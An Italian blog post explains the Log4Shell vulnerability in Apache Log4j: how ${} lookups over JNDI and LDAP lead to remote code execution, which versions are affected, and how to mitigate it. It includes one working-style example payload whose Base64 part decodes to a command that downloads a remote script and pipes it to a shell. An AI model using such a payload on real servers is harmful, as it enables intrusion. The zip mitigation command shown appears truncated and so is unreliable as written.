Log4Shell: una nuova vulnerabilità 0-day su Apache Log4j

0

Dopo CVE-2017-5645 e CVE-2019-17571, in uno dei momenti più caldi dell’anno dal punto di vista delle transazioni economiche e commerciali, è stata pubblicata una nuova vulnerabilità che permette l’esecuzione remota di codice arbitrario sulla libreria Java più diffusa per il logging: Log4j.

La vulnerabilità è stata scoperta da alcuni ricercatori del team di sicurezza di Alibaba, che hanno poi notificato la Apache Foundation il 24 Novembre. Il problema principale è sicuramente la facilità di exploitation, in quanto questa non richiede alcun tipo di configurazione, nè strani giri di protocolli, o combinazioni di vulnerabilità. Per questo motivo ha ricevuto il punteggio massimo CVSSv3.

Tra i progetti Open Source più famosi colpiti da questa vulnerabilità annoveriamo Redis, ElasticSearch, Kafka, Struts, Solr e Logstash: ma, ovviamente, anche enterprise come Apple, Cloudflare, Red Hat, Twitter fanno un uso massiccio della libreria, e sono parimenti danneggiate dall’exploit.

Da un recente scan effettuato, la maggior parte dei tentativi di exploit arrivano dal Canada e dagli Stati Uniti. Cloudflare segnala non meno di 20.000 tentativi di exploitation bloccati tramite il loro sistema WAF (Web Application Firewall, un sistema di firewalling applicativo che entra nel merito del payload dell’applicazione proprio per mitigare problematiche di questo tipo).

Il funzionamento base dell’exploit sfrutta i tag speciali di log4j ${}, che permettono di includere all’interno dei lookup di risorse remote. Nel caso in cui sia possibile, per un dato utente, il poter scrivere tali caratteri in un qualsiasi punto che scateni una riga di logging da parte dell’applicazione, la vulnerabilità può essere sfruttata. Il sistema dei lookup log4j 2.x è nato per dare la possibilità agli sviluppatori di specificare delle configurazioni dinamiche all’interno delle properties, utilizzando un meccanismo che si basa sull’interfaccia StrLookup. Quando viene chiamato il metodo log() di log4j, viene invocata la funzionalità di formatting che cerca la stringa ${} per applicare la sostituzione. Nel caso in cui questi caratteri siano presenti, viene invocato internamente il metodo lookup(), per effettuare un replace della stringa con dei valori arbitrari, invocati a runtime.

Ad esempio, nel file di configurazione di log4j è possibile indicare un layout di base che presenti la versione del runtime di java tramite il placeholder ${java:runtime}: ma non è ovviamente l’unico pattern utilizzabile. E’ possibile anche sfruttare dei lookup remoti, come jndi:// (utilizzato ad esempio per risolvere i nomi dei bean java) o jmx://. Questi due metodi di lookup permettono di specificare protocolli come RMI o LDAP nella url al loro interno. Da qui al poter invocare, tramite una chiamata, una classe java remota posizionata su un server ldap, o addirittura un comando shell tramite encoding Base64, il passo è molto breve.

Una stringa come la seguente è perfettamente lecita:

${jndi:ldap://exploit.me/Basic/Command/Base64/Y3VybCBodHRwczovL2V4cGxvdC5tZS9yZW1vdGVfY29kZS5zaCB8IGJhc2gK}

e permette, in modo molto semplice, di eseguire comandi in remoto con i privilegi dell’utente con cui gira l’application server.

Le versioni di Log4j colpite della vulnerabilità sono tutte quelle incluse dalla 2.0-beta9 alla 2.14.1. Come al solito, il modo migliore per proteggersi è l’aggiornare la libreria alla 2.15.0, la più recente. Se per qualche motivo non fosse possibile effettuare l’aggiornamento, dalla versione 2.10 in poi, è possibile impostare il parametro log4j.formatMsgNoLookups, impostandolo a true, proteggendosi in questo modo dal meccanismo utilizzato dall’exploit; un altro modo è il rimuovere la classe JndiLookup dal classpath, tramite il comando: zip -d log4j-core–<versione>.jar org/apache/logging/log4j/core/lookup/.

Mettetevi al riparo!

Sostenitore di lunga data dell’Open Source, Sysadmin ma anche programmatore, mi appassiona qualsiasi cosa nell’IT che possa permettere un’espressione di creatività. Nostalgico della filosofia dei tempi andati, ma incuriosito dalle potenzialità dei paradigmi moderni.